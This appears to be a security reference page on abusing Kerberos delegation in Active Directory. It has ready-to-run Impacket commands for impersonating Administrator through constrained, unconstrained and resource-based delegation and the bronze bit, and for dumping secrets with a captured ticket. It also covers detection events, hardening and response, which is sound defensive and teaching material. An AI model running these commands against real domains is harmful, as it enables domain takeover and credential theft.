Kerberos Delegation
Delegation lets a service act on behalf of a user against another service: the classic web
front-end that needs to reach a database “as” the connected user. It’s a legitimate, necessary
feature, but its three variants —unconstrained (KUD), constrained (KCD) and resource-based (RBCD)—,
misconfigured, open direct paths to impersonating any user, including Domain Admin. It’s one of
the most exploited escalation paths in modern AD. The key being abused are Kerberos’s S4U
extensions: S4U2self (request a ticket to yourself on behalf of someone else) and S4U2proxy
(forward that ticket to a third service).
sequenceDiagram
participant A as Account with delegation
participant KDC as KDC
participant S as Target service
A->>KDC: S4U2self (ticket to itself as Administrator)
KDC-->>A: forwardable TGS as Administrator
A->>KDC: S4U2proxy (ticket to the target service)
KDC-->>A: TGS for the service as Administrator
A->>S: access as Administrator
Threat model
Section titled “Threat model”- Who attacks: someone controlling an account configured with delegation, or with write access to another account’s delegation attributes (visible in BloodHound).
- What it breaks: the separation between “authenticate” and “act on behalf of another.” The S4U extensions let a service request tickets as any user, and the three variants control how and where.
- What it gains: a service ticket as the impersonated user (up to Domain Admin) toward a specific
service; with
cifs/orhost/, access to dump or execute on the target machine. - The limit: accounts marked “sensitive and cannot be delegated” or in Protected Users can’t be impersonated through delegation. The famous exception is RID 500 (Administrator), which can still be delegated even in Protected Users.
Anatomy
Section titled “Anatomy”The three variants
Section titled “The three variants”| Variant | Attribute / flag | Who can impersonate whom |
|---|---|---|
| Unconstrained (KUD) | UAC TRUSTED_FOR_DELEGATION |
The service caches the TGT of anyone who authenticates to it → impersonate anyone, on any service |
| Constrained (KCD) | msDS-AllowedToDelegateTo |
The service impersonates anyone, but only toward the SPNs in that list |
| Resource-based (RBCD) | msDS-AllowedToActOnBehalfOfOtherIdentity (on the target) |
The target decides which accounts may impersonate users toward it |
RBCD’s key difference: the permission lives on the destination resource, not on the delegating
account. So just writing that attribute on a computer (with GenericWrite/GenericAll) sets up
delegation yourself.
The RC4 clock and delegation
Section titled “The RC4 clock and delegation”With RC4 ending by default (2026, see Kerberos), the bronze bit
(CVE-2020-17049, -force-forwardable) and some delegation tricks that relied on RC4 may behave
differently depending on the domain’s encryption level. Verify in the lab before assuming them.
Variants
Section titled “Variants”Unconstrained (KUD): the most dangerous
Section titled “Unconstrained (KUD): the most dangerous”A computer with unconstrained delegation stores the TGT of everyone who authenticates to it. If you control that host and coerce a DC to authenticate to you, you capture the DC’s TGT. Only DCs should have this flag; any other computer with it is a critical finding.
findDelegation.py -dc-ip 10.10.10.10 corp.local/jdoe:'Passw0rd!'From a computer account with the flag, after coercing the DC (see NTLM
relay for coercion), the captured TGT appears as a .ccache and is used
with pass-the-ticket:
export KRB5CCNAME='DC01$.ccache'secretsdump.py -k -no-pass 'corp.local/DC01$@dc01.corp.local'Constrained (KCD): toward specific services
Section titled “Constrained (KCD): toward specific services”An account with msDS-AllowedToDelegateTo can impersonate anyone, but only toward the SPNs in its
list. With its credentials (password or hash), you request an impersonation ticket:
# with protocol transition (S4U2self + S4U2proxy)getST.py -spn 'cifs/srv-app.corp.local' -impersonate Administrator -dc-ip 10.10.10.10 \ corp.local/svc-web:'Passw0rd!'export KRB5CCNAME='Administrator@cifs_srv-app.corp.local@CORP.LOCAL.ccache'The -altservice trick: since the ticket’s encryption doesn’t bind the service name, you can swap the
SPN (cifs/, host/, ldap/) to reach other services on the same host:
getST.py -spn 'cifs/srv-app.corp.local' -altservice 'ldap/srv-app.corp.local' \ -impersonate Administrator -dc-ip 10.10.10.10 corp.local/svc-web:'Passw0rd!'Resource-based (RBCD): the one you set up
Section titled “Resource-based (RBCD): the one you set up”If you have GenericWrite/GenericAll over a computer (via ACL abuse), you
write its msDS-AllowedToActOnBehalfOfOtherIdentity pointing to an account you control, then
impersonate. You need an account with an SPN: either create a computer account (if
MachineAccountQuota > 0) or use SPN-less RBCD (U2U).
# 1. create a computer account you controladdcomputer.py -computer-name 'EVIL$' -computer-pass 'Evil.2026' -dc-ip 10.10.10.10 corp.local/jdoe:'Passw0rd!'# 2. write the attribute on the targetrbcd.py -delegate-from 'EVIL$' -delegate-to 'SRV-APP$' -action write -dc-ip 10.10.10.10 corp.local/jdoe:'Passw0rd!'# 3. request the impersonation ticketgetST.py -spn 'cifs/srv-app.corp.local' -impersonate Administrator -dc-ip 10.10.10.10 corp.local/EVIL\$:'Evil.2026'If delegation fails: bronze bit
Section titled “If delegation fails: bronze bit”If the target has a non-forwardable ticket, -force-forwardable (bronze bit, CVE-2020-17049) can
force it on unpatched domains:
getST.py -spn 'cifs/srv-app.corp.local' -impersonate Administrator -force-forwardable -dc-ip 10.10.10.10 \ -hashes :e0fb63… 'corp.local/EVIL$'Red Team
Section titled “Red Team”Investigator workflow
Section titled “Investigator workflow”findDelegation.pyand BloodHound: which accounts have KUD, KCD or write access to set up RBCD?- KUD on a non-DC computer → DC coercion → DC’s TGT (the worst case).
- KCD →
getST.pywith-altserviceto choose the service. - Write access over a computer → set up RBCD yourself.
- Impersonation ticket →
secretsdump/execution on the target.
- findDelegation.py (Impacket): discovers KUD, KCD and RBCD.
- getST.py (Impacket): S4U2self + S4U2proxy,
-altservice,-force-forwardable,-u2u. - rbcd.py / addcomputer.py (Impacket): set up RBCD and create computer accounts.
- Rubeus: Windows equivalent (
s4u,tgtdeleg). - BloodHound:
AllowedToDelegate,AllowedToActedges.
Impact and chaining
Section titled “Impact and chaining”An impersonation ticket as Administrator toward cifs/DC is domain compromise. KUD on a non-DC host,
chained with coercion, hands over the DC’s TGT directly. RBCD is the natural outcome of a
GenericWrite over a computer found in BloodHound.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”- Periodic inventory of
TrustedForDelegation: only DCs should appear. Any other computer or user with the flag is a finding.Ventana de terminal Get-ADComputer -Filter {TrustedForDelegation -eq $true -and PrimaryGroupID -ne 516} -Properties TrustedForDelegation - Event 4769 with the Transited Services field populated → S4U2proxy activity; watch it when the impersonated user is high-privilege and the service doesn’t usually delegate.
- Event 5136: changes to
msDS-AllowedToDelegateToormsDS-AllowedToActOnBehalfOfOtherIdentity(someone setting up KCD or RBCD). - Event 4741: computer account creation (an RBCD precursor).
Telemetry and sources
Section titled “Telemetry and sources”- Auditing of Kerberos ticket operations (4768/4769) on the DCs.
- Directory change auditing (5136) over the delegation attributes.
Hardening
Section titled “Hardening”- Remove unconstrained delegation except on DCs; migrate to scoped KCD or RBCD.
- Mark privileged accounts as “sensitive and cannot be delegated” and put them in Protected Users.
- Set MachineAccountQuota to 0 so an ordinary user can’t create computer accounts (stops RBCD via account creation; doesn’t stop SPN-less RBCD or abuse of an existing computer account).
- Restrict who can write delegation attributes (review ACLs with BloodHound).
Response
Section titled “Response”On confirmed abuse: clear the manipulated attribute, delete attacker-created computer accounts, rotate
the credentials of the delegating accounts involved, and if a DC’s TGT was captured, consider rotating
krbtgt (twice, with the recommended window).
CVEs and real cases
Section titled “CVEs and real cases”- CVE-2020-17049 (bronze bit): forces an S4U2self ticket to forwardable, bypassing delegation
protections on unpatched domains.
-force-forwardable. - Unconstrained delegation combined with PrinterBug/PetitPotam (DC coercion) is a classic path to domain compromise.
- RBCD, described by Elad Shamir (“Wagging the Dog,” 2019), turned a
GenericWriteover a computer into a reliable path to its compromise.
Test checklist
Section titled “Test checklist”- Non-DC computers or users with unconstrained delegation?
- Accounts with
msDS-AllowedToDelegateTo(KCD)? - Write access over computers that allows setting up RBCD?
- MachineAccountQuota > 0 (computer account creation)?
- Impersonation tickets toward
cifs//host/of high-value targets? - Privileged accounts protected (sensitive / Protected Users)?
- Blue: auditing of 4769 (Transited Services) and 5136 over delegation attributes?